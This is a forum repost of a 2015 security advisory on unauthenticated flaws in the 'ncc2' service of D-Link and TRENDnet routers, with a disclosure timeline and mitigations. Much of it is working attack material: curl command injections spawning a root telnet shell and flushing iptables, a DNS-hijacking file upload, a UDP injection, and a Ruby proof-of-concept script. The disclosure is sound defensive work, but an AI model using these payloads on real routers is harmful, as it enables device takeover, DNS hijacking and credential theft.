Aerosol Posted February 27, 2015 Report Posted February 27, 2015 >> D-Link and TRENDnet 'ncc2' service - multiple vulnerabilitiesDiscovered by:----Peter Adkins <peter.adkins@kernelpicnic.net>Access:----Local network; unauthenticated access.Remote network; unauthenticated access*.Remote network; 'drive-by' via CSRF.Tracking and identifiers:----CVE - Mitre contacted; not yet allocated.Platforms / Firmware confirmed affected:----D-Link DIR-820L (Rev A) - v1.02B10D-Link DIR-820L (Rev A) - v1.05B03D-Link DIR-820L (Rev - v2.01b02TRENDnet TEW-731BR (Rev 2) - v2.01b01Additional platforms believed to be affected:----D-Link DIR-808L (Rev A) - v1.03b05D-Link DIR-810L (Rev A) - v1.01b04D-Link DIR-810L (Rev - v2.02b01D-Link DIR-826L (Rev A) - v1.00b23D-Link DIR-830L (Rev A) - v1.00b07D-Link DIR-836L (Rev A) - v1.01b03Vendor involvement:----2015-01-11 - Issues reported to D-Link via email (security contact).2015-01-11 - Issues reported to TRENDnet via support ticket.2015-01-12 - Initial response from TRENDnet.2015-01-14 - Initial response from D-Link (security contact).2015-01-19 - Email to Mitre.2015-01-19 - TRENDnet request a few days to validate vulnerabilities.2015-01-26 - TRENDnet confirm vulnerabilities and commit to Feb 10 fix.2015-02-01 - Initial response from Mitre.2015-02-04 - Requested an update from D-Link (security contact).2015-02-10 - TRENDnet release 2.02b01 resolving vulnerabilities.2015-02-10 - Emailed Mitre requesting follow up.2015-02-10 - Emailed D-Link requesting follow up (security contact).2015-02-18 - Emailed D-Link requesting follow up (security contact).2015-02-21 - Contacted D-Link support as I had not still not heard back.2015-02-22 - D-Link support were unsure as to my query.2015-02-22 - Replied to D-Link support clarifying my request.2015-02-23 - D-Link support directed me to the security reporting guide.2015-02-26 - Vulnerability published to Bugtraq and GitHub.Mitigation:----* Ensure remote / WAN management is disabled on the affected devices.* Only allow trusted devices access to the local network.* If using a listed TRENDnet device, install the patched firmware issuedby the vendor.* If using a listed D-Link device, you'll need to use a third party toolsuch as µBlock (Chrome, Firefox and Safari) to blacklist requests toyour router. This isn't ideal, but it's better than the alternative.Notes:----* Due to the nature of the the 'ping.ccp' vulnerability, an attacker cangain root access, hijack DNS settings or execute arbitrary commands onthese devices with the user simply visiting a web page with a maliciousHTTP form embedded (via CSRF).* Due to the location of this issue (ncc / ncc2) these vulnerabilitiesmay be present in other devices and firmware versions not listed in thisdocument.* D-Link initially responded on their security contact within a week.However, after I had provided write ups of these vulnerabilities it wentquiet. In over a month I have been unable to get any sort of responsefrom D-Link, including as to whether they have managed to replicatethese issues or when there will be a fix. I contacted D-Link support asa last ditch effort to reestablish contact, however I was linked back tothe same security reporting process I had followed initially.* Remote execution of these exploits is possible, but requires thedevice to already have remote / WAN management enabled; except in thecase of 'ping.ccp', as above.* If you have a D-Link device that is believed to be affected and canconfirm whether the PoC is successful, please let me know and I willupdate the copy of this document on GitHub (see below) and providecredit for your findings.* A copy of this document, as well as the proof of concept below and amore detailed write-up has been made available via GitHub: * https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2----fwupgrade.ccp----The ncc / ncc2 service on the affected devices allows for basic firmwareand language file upgrades via the web interface. During the operation,a HTTP POST is submitted to a resource named 'fwupgrade.ccp'.The request appears to be executed by the ncc / ncc2 service on thedevice, which runs as the root user.Unfortunately, the filtering on this resource does not appear to beeffective, as: file / MIME type filtering is not being performed; andthe 'on-failure' redirection to the login page is being performed AFTERa file has already been written the the filesystem in full.As a result of the above, this resource can be used to upload files tothe filesystem of devices running vulnerable versions of ncc / ncc2without authentication. This is also possible over the internet ifWAN / remote management has been previously enabled on the device.To compound the issue, at least in the case of the listed devices, filesare written to a ramfs filesystem which is mounted at '/var/tmp'. Thisbecomes an issue as this directory is also used to store volatile systemconfiguration files - as the root filesystem is mounted read-only.The files under '/var/tmp' include 'resolv.conf', allowing for anattacker to hijack a user's DNS configuration:# Overwrite the DNS resolver with Google DNSecho 'nameserver 8.8.8.8' > resolv.confcurl \ -i http://192.168.0.1/fwupgrade.ccp \ -F action=fwupgrade \ -F filename=resolv.conf \ -F file=@resolv.conf----ping.ccp----The ncc / ncc2 service on the affected devices allow for basic 'ping'diagnostics to be performed via the 'ping.ccp' resource. Unfortunately,it appears that strings passed to this call are not correctly sanitized.Much in the same manner as above, the request appears to be executed bythe ncc / ncc2 service on the device, which is run as the root user.The handler for 'ping_v4' does not appear to be vulnerable as thisresource maps the components of a IPv4 address, represented by a dottedquad, into a format of '%u.%u.%u.%u' at execution time.However, 'ping_ipv6' references the user provided input directly as astring ('%s'), which is then passed to a system() call. This formattingallows for an attacker to pass arbitrary commands to the device througha HTTP request.As this resource is also able to be accessed without authentication, itprovides a vector for an attacker to execute arbitrary commands on thedevice - including, but not limited to, DNS hijacking and WAN firewalldisablement - via CSRF.# Spawn a root shell (telnet)curl \ -i http://192.168.0.1/ping.ccp \ --data 'ccp_act=ping_v6&ping_addr=$(telnetd -l /bin/sh)'# Flush the iptables INPUT chain and set the default policy to ACCEPT.curl \ -i http://192.168.0.1/ping.ccp \ --data 'ccp_act=ping_v6&ping_addr=$(iptables -P INPUT ACCEPT)'curl \ -i http://192.168.0.1/ping.ccp \ --data 'ccp_act=ping_v6&ping_addr=$(iptables -F INPUT)'----UDPServer / MP Daemon----Note: This vulnerability does not seem to be present in firmwareversions before 1.05B03 on the DIR-820LA1. This may differ on otherplatforms.The ncc / ncc2 service on the affected devices appears to have beenshipped with a number of diagnostic hooks available. Unfortunately, muchin the same manner as the vulnerabilities discussed above, these hooksare able to be called without authentication.These hooks are also callable via CSRF; although a moot point given thatthe 'ping.ccp' vulnerability discussed above already yields a higherlevel of access to the device via the same manner.One of the more 'interesting' hooks exposed by these devices allow fora 'UDPServer' process to be spawned on the device when called. Whenstarted this process listens on the devices LAN IP for data on UDP 9034.Unfortunately, this process does not appear to perform any sort of inputsanitization before passing user input to a system() call. Furtherinvestigation finds that the source for this service (UDPServer) isavailable in the RealTek SDK, and appears to be a diagnostic tool.As a result of the above, this process is vulnerable to arbitrarycommand injection.# Spawn a root shell (telnet)curl -i 192.168.0.1/test_mode.txtecho "\`telnetd -l /bin/sh\`" > /dev/udp/192.168.0.1/9034----Diagnostic hooks----Further to the 'test_mode' hook discussed above, the ncc / ncc2 serviceon the affected devices appear to have been shipped with a number ofother diagnostic hooks enabled by default: * tftpd_ready.txt * chklst.txt * wps_default_pin.txt * usb_connect.txt * wps_btn.txt * reset_btn.txt * reboot_btn.txt * calibration_ready24G.txt * calibration_ready5G.txt * restore_default_finish.txt * set_mac_finish.txt * test_mode.txt * wifist.txtThese resources do not exist on the filesystem of the device, nor dothey appear to be static. Instead, these files appear to be renderedwhen queried and can be used to both interrogate the given device forinformation, as well as enable diagnostic services on demand.Unfortunately, these hooks are able to be queried without any form ofauthentication, and are accessible by attackers on the local network,and over the internet via WAN management (if enabled), and CSRF.A brief descriptions for each of these hooks is provided below. Thosenot listed provide either unknown functionality, or binary values whichappear to represent system GPIO states (*_btn.txt).- tftp_ready.txtWhen queried, this resource spawns a tftp daemon which has a rootdirectory of '/'. As TFTP requires no authentication, this service canbe used to extract credentials from the device or even download filesfrom an external storage device connected via USB.Unfortunately, due to the way this data is stored on the system, allcredentials appear to be available in plain-text. These credentials caninclude (depending on the vendor and device configuration): * GUI / Device management credentials * Samba credentials * PPPoE credentials * Email credentials * 'MyDlink' credentials (on D-Link devices)- chklst.txtWhen queried, this resource will return the following information: * Current WLAN SSIDs * Current WLAN channels * LAN and WAN MAC addressing * Current Firmware version information * Hardware version information * Language information- wps_default_pin.txtWhen queried, this resource will return the default / factory WPS pinfor the device.- usb_connect.txtWhen queried, this resource will return a binary value which indicateswhether an external device is connected to the USB port on the device -or null in the case of devices that do not have an exposed USB port.This resource could potentially by used by an attacker to enumeratedevices with USB storage attached.----Ruby PoC----# NCC2 PoC.require 'pp'require 'optparse'require 'restclient'# Set defaults and parse command line argumentsoptions = {}options[:addr] = "192.168.0.1"options[:port] = 80OptionParser.new do |option| option.on("--address [ADDRESS]", "Destination hostname or IP") do |a| options[:addr] = a end option.on("--port [PORT]", "Destination TCP port") do |p| options[:port] = p end option.parse!end# Define which SOAPActions we will be using.actions = [ { :name => "Get device information", :call => "sloppy_parser", :path => "chklst.txt", }, { :name => "Has USB device connected", :call => "txt_parser", :path => "usb_connect.txt", }, { :name => "Get WPS default pin", :call => "txt_parser", :path => "wps_default_pin.txt", }, { :name => "Enable UDPServer", :call => "noop", :path => "test_mode.txt", }, { :name => "Enable TFTP service", :call => "noop", :path => "tftpd_ready.txt", }, { :name => "Enable telnet (root)", :call => "noop", :path => "ping.ccp", :post => { "ccp_act" => "ping_v6", "ping_addr" => "$(telnetd -l /bin/sh)" } }]def noop(val) returnenddef sloppy_parser(slop) slop.split(/\<br \/\>/).each do |l| puts " #{l}" endenddef txt_parser(txt) l = txt.gsub(/\=/, ': ') puts " #{l}"end# Iterate over all actions and attempt to execute.url = "http://#{options[:addr]}:#{options[:port]}"puts "[!] Attempting to extract information from #{url}"actions.each do |action| # Build the target URL and setup the HTTP client object. request = RestClient::Resource.new("#{url}/#{action[:path]}") # Fire the request and ensure a 200 OKAY. begin if action[:post] response = request.post(action[:post]) else response = request.get() end rescue puts "[!] Failed to query remote host." abort end if response.code != 200 puts "[-] '#{action[:name]}' failed with response: #{response.code}" next end # Send to the processor. puts "[*] #{action[:name]} request succeeded." send(action[:call], response.body())endSource Quote